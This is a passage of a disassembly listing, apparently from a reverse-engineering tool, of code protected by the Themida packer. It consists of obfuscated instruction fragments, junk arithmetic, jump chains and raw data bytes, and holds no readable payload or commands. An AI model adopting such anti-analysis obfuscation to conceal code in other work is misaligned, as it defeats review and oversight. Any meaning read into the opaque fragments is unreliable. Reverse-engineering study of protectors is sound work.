		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55CD88
; ---------------------------------------------------------------------------


loc_55C798:				; CODE XREF: Themida_:00551763j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_551840
; ---------------------------------------------------------------------------
		dw 79B9h
		dd 0E92B1468h, 4A4Dh
; ---------------------------------------------------------------------------


loc_55C7B0:				; CODE XREF: Themida_:005653C9j
		pop	esp
		pop	eax
		push	eax
		mov	al, 0
		jmp	loc_551420
; ---------------------------------------------------------------------------
		dw 46B9h
		dd 8115A92Ch, 8F7F61C9h, 3EF1815Bh, 2948E46Dh, 55D59C8h
		dd 4231A7FCh, 10E9EA81h, 0C2015A62h, 10E9BF57h,	0C2815A62h
		dd 5088730Eh, 93E9FA01h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C7EF:				; CODE XREF: Themida_:0055BFBDj
		add	esp, 4
		add	esi, 4
		push	131Fh
		mov	[esp], ebp
		mov	ebp, 798B235Ah
		sub	esp, 4
		jmp	loc_563EAD
; ---------------------------------------------------------------------------
		dd 0EA815958h, 4, 4EC81h, 14890000h, 872BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C826:				; CODE XREF: Themida_:0055CCACj
		pop	esp
		add	eax, 3A7D6CEAh
		add	eax, edi
		push	ebp
		mov	ebp, 353140F1h
		jmp	loc_5577DD
; ---------------------------------------------------------------------------


loc_55C839:				; CODE XREF: Themida_:00563365j
		add	edx, 0D9272D9Ah
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 3F0B150Ch
		shr	ebx, 4
		xor	ebx, 3F0B154h
		add	ebp, ebx
		jmp	loc_55E862
; ---------------------------------------------------------------------------
		dd 2434875Bh, 5324248Bh, 1C52BBBBh, 245C0115h, 44815B08h
		dd 37DB0424h, 0C4E9165Ch
		db 81h,	2 dup(0FFh)
byte_55C8A3	db 66h			; DATA XREF: Themida_:00550D50o
		dd 0C4E932FFh, 8B000027h, 89532404h, 4BA52E3h, 0E9000000h
		dd 0FFFF8322h, 60E368h,	242C8900h, 4076E950h, 0C4810000h
		dd 4, 77D2B951h, 0F18137A7h, 64A9798Fh,	416FE981h, 0C1811D48h
		dd 354344F2h, 0FF779FE9h, 4EC83FFh, 5B241489h, 0BE9585Ah
		dd 4FFFFFCEh, 6BEF814Fh, 1110B33h, 243C8BFDh, 4C481h, 0CD290000h
		dd 1F93ED81h, 0C5814AA1h, 4C050699h, 81240C8Bh,	4C4h, 2972E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C92A:				; CODE XREF: Themida_:00560D64j
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_551A11
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F3010000h, 241C875Eh, 6824248Bh, 55A9h, 0FFF874E9h
		dd 0C1EA81FFh, 16D544Ch, 0C1C281EAh, 5D6D544Ch,	7AD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C961:				; CODE XREF: Themida_:00563CFDj
		add	esp, 4
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 70AE219Bh
		mov	edx, 70AE2187h
		xor	edx, ecx
		pop	ecx
		add	edx, 18B30AA6h
		sub	edx, 657F196Ch
		add	edx, edi
		jmp	loc_55A728
; ---------------------------------------------------------------------------


loc_55C98E:				; CODE XREF: Themida_:0056351Aj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 79215327h
		sub	ebp, 4DC97E57h
		shr	ebp, 4
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ebp, edx
		jmp	loc_561FDC
; ---------------------------------------------------------------------------


loc_55C9BE:				; CODE XREF: Themida_:0055CC0Bj
		add	edx, 10B040AEh
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_562046
; ---------------------------------------------------------------------------
		dd 315FFD89h, 0B9515DE8h, 4B042CF8h, 5008E9C1h,	575A72B8h
		dd 4D7E94Eh, 0EB290000h, 91E95350h, 81000048h, 4C5h, 4BE5600h
		dd 0E9000000h, 1AD2h, 530776BFh, 5BDF011Ch, 4247C29h, 0FFB187E9h
		dd 81CF01FFh, 0F96CE1C7h, 0EEC78143h, 5941AD62h, 0D4BE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CA2E:				; CODE XREF: Themida_:00564D8Ej
		pop	edi
		or	edx, 64F5EBCh
		not	edx
		push	ebp
		mov	ebp, 97AD5874h
		sub	edx, ebp
		pop	ebp
		or	esi, edx
		jmp	loc_55BD06
; ---------------------------------------------------------------------------
		db 0B9h
		dd 75D57F74h, 54FDE941h, 34890000h, 4BE24h, 0C7810000h
		dd 23F42845h, 0EF81F701h, 23F42845h, 35B5E9h, 0E9DAF700h
		dd 0FFFF6864h
dword_55CA74	dd 8B2434FFh, 0C481240Ch, 4, 56E38953h,	82B7E9h
					; DATA XREF: Themida_:00550EF8o
		db 0
; ---------------------------------------------------------------------------


loc_55CA89:				; CODE XREF: Themida_:0055FDF1j
		add	esi, 6C581D54h
		add	esi, ebx
		sub	esi, 6C581D54h
		pop	ebx
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_551FDD
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 0FFDFA9E9h, 51C181FFh, 581E0945h,	4BF57h
		dd 0F9010000h, 240C875Fh, 0AEE9515Ch, 56FFFF80h, 0FFA095E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CAD1:				; CODE XREF: Themida_:0056341Bj
		sub	dword ptr [esp], 33FC167Ah
		jmp	loc_5585F1
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 7Ah
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CAE3:				; CODE XREF: Themida_:00559FBAj
		pop	ecx
		push	eax
		push	edx
		mov	edx, 1B3230B5h
		push	edx
		jmp	loc_556E22
; ---------------------------------------------------------------------------
		db 0BEh, 0F5h, 14h
		dd 0FAE9323Ah, 50FFFF5Ch, 4B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CB01:				; CODE XREF: Themida_:00554341j
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 4
		jmp	loc_55F009
; ---------------------------------------------------------------------------


loc_55CB0C:				; CODE XREF: Themida_:00553424j
		push	ebp
		jmp	loc_553A83
; ---------------------------------------------------------------------------


loc_55CB12:				; CODE XREF: Themida_:00551BEBj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55FA4A
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFC495E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CB25:				; CODE XREF: Themida_:005536C0j
		mov	[esp], ebx
		mov	ebx, 33124097h
		jmp	loc_55F84B
; ---------------------------------------------------------------------------
		dw 8B5Bh
		dd 0C4812404h, 4, 5B66585Bh, 32240C30h,	0C30240Ch, 4411E924h
		dd 0C380FFFFh, 0E593E96Ch, 0CA09FFFFh, 3BC28159h, 2D840690h
		dd 220D6E99h, 0B951D001h, 220D6E99h, 8B59C801h,	0C4832414h
		dd 4EC8104h, 89000000h,	4B9240Ch, 29000000h, 6D99E9C8h
		dd 0D3660000h, 0E99C242Ch, 0FFFF43CBh, 9F3AE955h, 348BFFFFh
		dd 4C48124h, 83000000h,	0C3304C1h, 240C3124h, 5C240C33h
		dd 1C8BDE31h, 949DE924h, 0C280FFFFh, 0D0DAF687h, 0E9E2D0EAh
		dd 0FFFFCA4Dh, 6D7C89B9h, 0ABBE5602h, 311C0D2Bh, 0D9F75EF1h
		dd 0C981D1F7h, 7D2331EBh, 0FF7BA2E9h, 240489FFh, 0FF6D2AE9h
		dd 0D60158FFh, 5224148Bh, 755EE9h, 0BD554900h, 7B9F19DAh
		dd 0FFA55BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CC05:				; CODE XREF: Themida_:0056247Fj
		sub	[esp+4], ebp
		pop	ebp
		pop	edx
		jmp	loc_55C9BE
; ---------------------------------------------------------------------------
		dd 6B142CBEh, 0EEC14645h, 19EE8107h, 8168C562h,	0AC3111E6h
		dd 22E9E919h, 1C870000h, 5F3E924h, 0E9590000h, 0FFFF8835h
		dd 1B8EE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC3E:				; CODE XREF: Themida_:00559339j
		xor	esi, ebp
		pop	ebp
		add	eax, 2A5D1918h
		jmp	loc_55CFF0
; ---------------------------------------------------------------------------
		db 81h
		dd 0C00B99C7h, 81EF0153h, 0C00B99EFh, 242C8B53h, 4C481h
		dd 0BB530000h, 4, 0FF6F40E9h, 0F9F766FFh, 60596866h, 0FF670BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CC79:				; CODE XREF: Themida_:0056371Fj
		pop	edx
		sub	edx, 6BB2BACEh
		push	edx
		push	esi
		jmp	loc_55D839
; ---------------------------------------------------------------------------
a0S		db '0яИ :',0
		align 2


loc_55CC8E:				; CODE XREF: Themida_:00555D5Dj
		push	1B86h
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55C826
; ---------------------------------------------------------------------------


loc_55CCB1:				; CODE XREF: Themida_:00559F53j
		sub	eax, ebp
		sub	eax, 5454707Fh
		jmp	loc_562203
; ---------------------------------------------------------------------------
		db 0D3h, 2 dup(24h)
		dd 129CE9h, 7B26800h, 0B6E90000h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CCCF:				; CODE XREF: Themida_:005521C0j
		shl	ecx, 5
		sub	ecx, 0FFFFFFFFh
		add	ecx, 4B8D31DFh
		add	ecx, 84042C9Bh
		jmp	loc_559FFE
; ---------------------------------------------------------------------------
		dw 335Eh
		dd 0C31240Ch, 240C3324h, 3824248Bh, 64E99CC1h, 56FFFF42h
		dd 0C6815E54h, 4, 689CE9h, 240C8900h, 0BD55E189h, 4, 0FF5BC8E9h
		dd 242489FFh, 4240481h,	5E000000h, 539E9h, 0B0506600h
		dd 0E91C244Dh, 0FFFF5DC4h, 0FBE97504h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD3B:				; CODE XREF: Themida_:00563948j
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_552F4F
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 66h
		dd 8124148Bh, 2C4h, 81D6800h, 1C890000h, 4EC8124h, 89000000h
		dd 0B3B22414h, 4EE9D388h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD7B:				; CODE XREF: Themida_:0055A0F3j
		add	edx, 28400A8Fh
		pop	esi
		push	esi
		jmp	loc_561482
; ---------------------------------------------------------------------------


loc_55CD88:				; CODE XREF: Themida_:0055C793j
		pop	esp
		jmp	loc_55F0E4
; ---------------------------------------------------------------------------


loc_55CD8E:				; CODE XREF: Themida_:00558AD5j
		push	1C2C05FCh
		pop	ebp
		jmp	loc_5530ED
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 0FF41BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CDA1:				; CODE XREF: Themida_:00551ED8j
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		push	4BC6h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 42F6F38h
		not	eax
		add	eax, 68AC3B77h
		push	edx
		push	edi
		jmp	loc_5548C1
; ---------------------------------------------------------------------------


loc_55CDDB:				; CODE XREF: Themida_:0055266Cj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5640C0
; ---------------------------------------------------------------------------
		db 0C0h
		dd 52E908E0h, 81FFFF62h, 4C4h, 64E95900h, 0F7FFFF41h, 0B44CE9D5h
		dd 0D501FFFFh, 0E924148Bh, 1A5Fh
; ---------------------------------------------------------------------------


loc_55CE0C:				; CODE XREF: Themida_:005549D0j
		mov	ecx, edx
		jmp	loc_5642F4
; ---------------------------------------------------------------------------
		db 83h
		dd 0FBE904ECh, 8100002Bh, 4C4h,	81C33100h, 631288C2h, 0FABB537Dh
		dd 93471477h, 0AE9D0F7h, 29FFFFF8h, 8B6852C3h, 5A4BA702h
		dd 5FD1EB81h, 0C38172BDh, 2DE36B46h, 0FFCD39E9h, 9DF580FFh
		dd 0FF7ED5E9h, 74FF56FFh, 8F5E0424h, 895C2404h,	0E589242Ch
		dd 4B1668h, 241C8900h, 4BBh, 66F0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE7A:				; CODE XREF: Themida_:00552BBCj
		xor	[edi+24h], ecx


loc_55CE7D:				; CODE XREF: Themida_:loc_552D28j
		push	ebx
		add	dword ptr [esp], 4BC17512h
		pop	eax
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 51E53605h
		mov	edx, 56674D8Dh
		xor	edx, esi
		pop	esi
		push	1D33h
		mov	[esp], edi
		mov	edi, 13B241ADh
		sub	edi, 685622Fh
		shl	edi, 6
		inc	edi
		and	edi, 0E2524C8h
		sub	edi, 0BD8EEDD5h
		jmp	loc_552412
; ---------------------------------------------------------------------------
		db 9, 0C1h, 58h
		dd 4C5DF181h, 0C1416B6Ch, 0C18106E9h, 4BFE576Bh, 2959CF01h
		dd 0B3EF81C7h, 584C9323h, 0FFDE9FE9h, 4ED81FFh,	87000000h
		dd 895C242Ch, 3BD242Ch,	1FBFF6Ch, 2434FFEFh, 4EC835Dh
		dd 588CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CF09:				; CODE XREF: Themida_:00554E6Aj
		pop	ebp
		push	4730h
		jmp	loc_55D540
; ---------------------------------------------------------------------------


loc_55CF14:				; CODE XREF: Themida_:0055B38Aj
		mov	ecx, 3CB8430Dh
		jmp	loc_55F777
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 4C181h, 0EC810000h, 4, 0E9241489h,	0FFFF7543h
		dd 81CA295Dh, 1B6986EAh, 14335916h, 24143124h, 8B241433h
		dd 4892424h, 73BB5324h,	817D3674h, 302E84CBh, 8FFEE913h
		dd 5366FFFFh, 1245486h,	5486D2F6h, 5B660124h, 0C480FC86h
		dd 58E3284Ah, 62D3E9h, 69EE8100h, 0E972431Bh, 53DDh, 592434FFh
		dd 0E9E28952h, 0FFFFB19Ch
; ---------------------------------------------------------------------------


loc_55CF94:				; CODE XREF: Themida_:005546D5j
		push	eax
		mov	eax, 76C01AB2h
		mov	ebp, 893FE54Fh
		add	ebp, 79B226C4h
		add	ebp, eax
		sub	ebp, 79B226C4h
		mov	eax, [esp]
		jmp	loc_565556
; ---------------------------------------------------------------------------
		db 0B8h, 0DFh, 6Ch
		dd 0F9E96702h, 5E00000Bh, 0AE509ABAh, 5BDA3158h, 7859E281h
		dd 0C28134AFh, 120B5021h, 219A68h, 243C8900h, 313B69BFh
		dd 97EF8152h, 0D17F947Fh, 0E9D7F7E7h, 8C54h
; ---------------------------------------------------------------------------


loc_55CFF0:				; CODE XREF: Themida_:0055CC46j
		add	eax, esi
		sub	eax, 2A5D1918h
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_55D4E4
; ---------------------------------------------------------------------------


loc_55D014:				; CODE XREF: Themida_:0055A03Cj
		sub	ecx, 18FE78DBh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5641B6
; ---------------------------------------------------------------------------


loc_55D028:				; CODE XREF: Themida_:00564435j
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5594E5
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_555A39
; ---------------------------------------------------------------------------
		db 88h,	0CAh, 0FEh
		dd 66D188C2h, 50D9F65Ah, 7DCFE9h, 0B1516600h, 66C80094h
		dd 58C70059h, 0B450C700h, 58E72874h, 8B2434FFh,	50E92404h
		dd 8300002Eh, 348704C6h, 0EC815C24h, 4,	5D243C89h, 5F2434FFh
		dd 0E904C483h, 0FFFFD3ECh
; ---------------------------------------------------------------------------


loc_55D08C:				; CODE XREF: Themida_:0055490Cj
		mov	eax, [esp]
		jmp	loc_55A305
; ---------------------------------------------------------------------------


loc_55D094:				; CODE XREF: Themida_:00563EE2j
		sub	ebp, edx
		jmp	loc_5550BF
; ---------------------------------------------------------------------------
		db 2Dh
		dd 234642FBh, 0BFB95159h, 2913C23Dh, 0F02959C8h, 0C23DBF05h
		dd 52F90513h, 0E82D13D1h, 0E91F866Dh, 0FFFFBF21h, 0D8282704h
		dd 3E29E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D0C9:				; CODE XREF: Themida_:0055AD83j
		sub	ebp, 440D0B67h
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55FBDF
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0EC8196D0h, 4, 0B9240C89h, 4D954887h, 81FFE983h, 0C6AA1F1h
		dd 0C181496Bh, 1306461Dh, 0FFB9D5E9h, 31E95EFFh, 50FFFFD2h
		dd 125E7DB8h, 4350E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D116:				; CODE XREF: Themida_:00554839j
		not	ebx
		xor	ebx, 8837A486h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_55106E
; ---------------------------------------------------------------------------
		dw 0DCF6h
		dd 0CC80C4FEh, 0BFEC80B9h, 0FF73D9E9h, 0E28952FFh, 4C281h
		dd 0EA830000h, 24148704h, 2404895Ch, 405E089h, 5000000h
		dd 4, 0E9240487h, 0FFFFEB05h, 0E904C483h, 820Eh, 66CD2966h
		dd 49E95B59h, 81FFFFD6h, 4ECh, 24148900h, 6EA2BF57h, 0A8E93370h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D183:				; CODE XREF: Themida_:0055C54Aj
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		jmp	loc_55E8E5
; ---------------------------------------------------------------------------
byte_55D193	db 0FFh			; DATA XREF: Themida_:00550DECo
		dd 4BE92434h, 68FFFFD6h, 737Fh,	0FFA27FE9h, 240431FFh
		dd 5C240433h, 68240489h, 25667F5Fh, 5711E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D1BA:				; CODE XREF: Themida_:0055F64Dj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5554D1
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 6424248Bh, 80E90288h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D1DF:				; CODE XREF: Themida_:00555514j
		mov	ebp, 15C93929h
		mov	edi, 0A50E30Bh
		sub	edi, 21E138E6h
		add	edi, ebp
		add	edi, 21E138E6h
		pop	ebp
		sub	ebp, edi
		pop	edi
		jmp	loc_55C0E1
; ---------------------------------------------------------------------------


loc_55D200:				; CODE XREF: Themida_:005541EFj
		mov	eax, 9EE440Eh
		add	ebp, eax
		pop	eax
		jmp	loc_55B387
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 86h
		dd 5976DB19h, 34FFDF89h, 0C4835B24h, 4EC8304h, 0FF8884E9h
		dd 2C895CFFh, 4EC8124h,	89000000h, 0FEBB241Ch, 89000000h
		dd 55505BDDh, 0FF4D0EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D241:				; CODE XREF: Themida_:0055954Cj
		add	edx, eax
		jmp	loc_553A6E
; ---------------------------------------------------------------------------
		dd 99FDE957h, 0BE56FFFFh, 0
		dd 815EF589h, 73544C5h,	368DE963h, 0BD680000h, 89000034h
		dd 468243Ch, 8B000000h,	0C481243Ch, 4, 3C8BFE01h, 0E9545224h
		dd 4756h, 4B9BF681h, 0EE8126FBh, 6A013F60h, 0C15EF389h
		dd 0D3F707E3h, 0BD55h, 0DD290000h, 815DEB89h, 1D4B31F3h
		dd 93EB810Ch, 1987A8Fh,	0EC815BDEh, 4, 1098E9h,	48F5400h
		dd 4B95124h, 1000000h, 5904244Ch, 83240C8Bh, 31E904C4h
		dd 52FFFFD2h, 0D5240481h, 5F2E1343h, 43D5EF81h,	0E95A2E13h
		dd 0FFFFA254h, 6DF4E981h, 0F1010EFAh, 0FF498BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D2F9:				; CODE XREF: Themida_:00560C6Dj
		mov	[esp], eax
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_55D301:				; CODE XREF: Themida_:00552E2Fj
		shl	edx, 4
		push	ecx
		push	esi
		mov	esi, 6B825F7Ah
		jmp	loc_5521B3
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 2499h, 2DE6C781h, 0CDE90D2Ch, 57000014h
		dd 0FFA16EE9h, 4BEFFh, 0B6E90000h, 89000008h, 0B850243Ch
		dd 59C603F3h, 5058C789h, 894B04B8h, 8BC7293Bh, 0C4812404h
		dd 4, 6908C781h, 0F9313939h, 81D9E95Fh,	148B0000h, 5FBDE924h
		dd 89570000h, 4C781E7h,	83000000h, 3C8704C7h, 0E9C15C24h
		dd 0D9F74907h, 484BF181h, 0C581F9AFh, 44F126E2h, 0ED81CD01h
		dd 44F126E2h, 51B95159h, 81255428h, 1E5B70C1h, 0E5E9813Ch
		dd 12C9F22h, 0F52959CDh, 60DCED81h, 0ED8134D3h,	75C0B2Bh
		dd 8124348Bh, 4C4h, 8BE83100h, 0E952242Ch, 0FFFFE75Ah
		dd 24048F5Eh, 2DF8015Ch, 2F1D56C9h, 0E689565Fh,	4C681h
		dd 0BB530000h, 4, 875BDE29h, 0D0E92434h, 89FFFFCBh, 9668241Ch
		dd 8900002Bh, 19682404h, 5874EB0Fh, 4FA7E9h, 0AFB65200h
		dd 6623CE80h, 28ECB151h, 0E95966CEh, 0FFFFA7A6h
; ---------------------------------------------------------------------------


loc_55D418:				; CODE XREF: Themida_:0055216Aj
		push	ebx
		mov	ebx, 72955BBDh
		jmp	loc_555F21
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2892414h, 2877E9h,	0FCEE8100h, 8B49B022h, 0CE92414h
		dd 8900006Bh, 0C868242Ch, 89000075h, 4812424h, 424h, 0C5815D00h
		dd 4, 1DBDBF57h, 55E97B79h, 1000077h, 0EA8159CAh, 702A7E8Bh
		dd 0C229392Dh, 268AE929h, 0C2010000h, 8124048Bh, 4C4h
		dd 0F7E95000h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D483:				; CODE XREF: Themida_:0055659Ej
		push	eax
		not	dword ptr [esp]
		pop	eax
		add	eax, 79502BB1h
		dec	eax
		not	eax
		xor	eax, 82A4F192h
		jmp	loc_55A9E5
; ---------------------------------------------------------------------------


loc_55D49A:				; CODE XREF: Themida_:0055AAE2j
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
		db 81h
		dd 526352C5h, 0E9D5F774h, 81CFh, 8B24048Fh, 2CD22424h
		dd 0A4E99C24h, 5EFFFF3Ah, 0FF943EE9h, 0E95E58FFh, 0FFFF40B2h
; ---------------------------------------------------------------------------


loc_55D4C8:				; CODE XREF: Themida_:0055E164j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_552930
; ---------------------------------------------------------------------------
byte_55D4D5	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00550EACo
		dd 1858669Dh, 0E99C2404h, 0FFFF54ADh
; ---------------------------------------------------------------------------


loc_55D4E4:				; CODE XREF: Themida_:0055D00Fj
		pop	ebp
		jmp	loc_5536AD
; ---------------------------------------------------------------------------


loc_55D4EA:				; CODE XREF: Themida_:005573A1j
		xchg	ecx, [esp]
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, [esp]
		mov	edi, [esp]
		add	esp, 4
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		xchg	eax, ebp
		push	ebx
		mov	ebx, 7417796Dh
		add	ebx, 3323E75Ch
		sub	ebp, ebx
		pop	ebx
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55A800
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 22C968h, 240C8900h, 0C8B23FB1h, 0B0E9CA00h, 7Eh, 0E95A66F0h
		dd 0FFFF93CAh
; ---------------------------------------------------------------------------


loc_55D540:				; CODE XREF: Themida_:0055CF0Fj
		mov	[esp], eax
		mov	eax, 70087AB8h
		push	esi
		mov	esi, eax
		jmp	loc_563B81
; ---------------------------------------------------------------------------
		dd 0E902EEC1h, 0FFFF4DA0h
; ---------------------------------------------------------------------------


loc_55D558:				; CODE XREF: Themida_:0055B323j
		pop	esi
		jmp	loc_561E7A
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 40CB3C9Fh, 0B1E9EE87h
		db 57h,	2 dup(0FFh)
byte_55D56B	db 0FFh			; DATA XREF: Themida_:00550E7Co
		dd 0FBE92434h, 53000039h, 4EC81h, 0A1E90000h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D57F:				; CODE XREF: Themida_:00563C18j
		pop	ecx
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_557D89
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0E9CA015Ch, 1287h
; ---------------------------------------------------------------------------


loc_55D598:				; CODE XREF: Themida_:0055C766j
		push	edx
		mov	edx, 496752A3h
		xor	ebp, edx
		pop	edx
		add	edx, 0B317C1Dh
		sub	edx, ebp
		jmp	loc_5559FF
; ---------------------------------------------------------------------------


loc_55D5AE:				; CODE XREF: Themida_:005606EDj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_564DDD
; ---------------------------------------------------------------------------
		dd 2486D4F6h, 51665A24h, 0CA0028B1h, 51665966h,	0CA207CB1h
		dd 240C8B66h, 2C481h, 0EA800000h, 0A3EB80C8h, 0C380D300h
		dd 0EB285AA3h, 0FF64EB80h, 34FF2434h, 0C4815924h, 4, 53E28952h
		dd 5E54CCBBh, 3DEB8132h, 8141513Eh, 7B7A10EBh, 4378E90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D61E:				; CODE XREF: Themida_:0055FAE8j
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_56283F
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 5
a0isE		db '0КИ e',0
		dw 0B800h
		dd 5299077Fh, 0B625D8F7h, 2D37E073h, 1,	9F8F8505h, 58C701DAh
		dd 4C781h, 3C330000h, 0A395E924h, 0E128FFFFh, 1EC8E9h
		dd 4EC8100h, 0E9000000h, 0BF1h,	7E5C15Ah, 0C581DDF7h, 79E1EBFh
		dd 0A2E9D5F7h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D67F:				; CODE XREF: Themida_:005633C5j
		sub	ebx, ebp
		jmp	loc_55B16C
; ---------------------------------------------------------------------------


loc_55D686:				; CODE XREF: Themida_:00559C5Ej
		or	ebp, 3E993A1Eh
		jmp	loc_557316
; ---------------------------------------------------------------------------
aRSysZUhyd	db 'R╨sY▒;)жZ)Нhyd',0
		dd 242C8900h, 0A11572BDh, 5E5C137h, 60E9DDF7h, 81FFFFD7h
		dd 4C4h, 4C48300h, 205h, 74FF5000h, 8F580424h, 665C2404h
		dd 6824048Bh, 519Dh, 89242C89h,	4EC81E5h, 89000000h, 4682434h
		dd 5E000000h, 34FFF501h, 2434FF24h, 0FFB99FE9h,	0F72959FFh
		dd 5358E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D6FD:				; CODE XREF: Themida_:0055788Ej
		pop	esi
		add	dword ptr [esp+8], 1DC730EEh
		add	[esp+8], ebx
		sub	dword ptr [esp+8], 1DC730EEh
		pop	ebx
		jmp	loc_5512A7
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 4631h, 0C681E689h, 4, 4B951h, 0CE010000h
		dd 4F01E9h, 4C28100h, 81000000h, 4C2h, 24148700h, 1AB7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D749:				; CODE XREF: Themida_:0055F0B8j
		push	esi
		mov	esi, 4
		jmp	loc_559865
; ---------------------------------------------------------------------------
		dd 331CF181h, 0F1812BD6h, 5347AC8h, 3722E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D765:				; CODE XREF: Themida_:00561125j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_552AE3
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 38CAE9h, 56E46800h, 4890000h, 1C87B824h, 1052C23h, 92000000h
		dd 0E950D2F7h, 80F4h
; ---------------------------------------------------------------------------


loc_55D794:				; CODE XREF: Themida_:00552F03j
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 49C20D11h
		neg	edx
		xor	edx, 0CA91822Ah
		mov	ebx, edx
		pop	edx
		push	esi
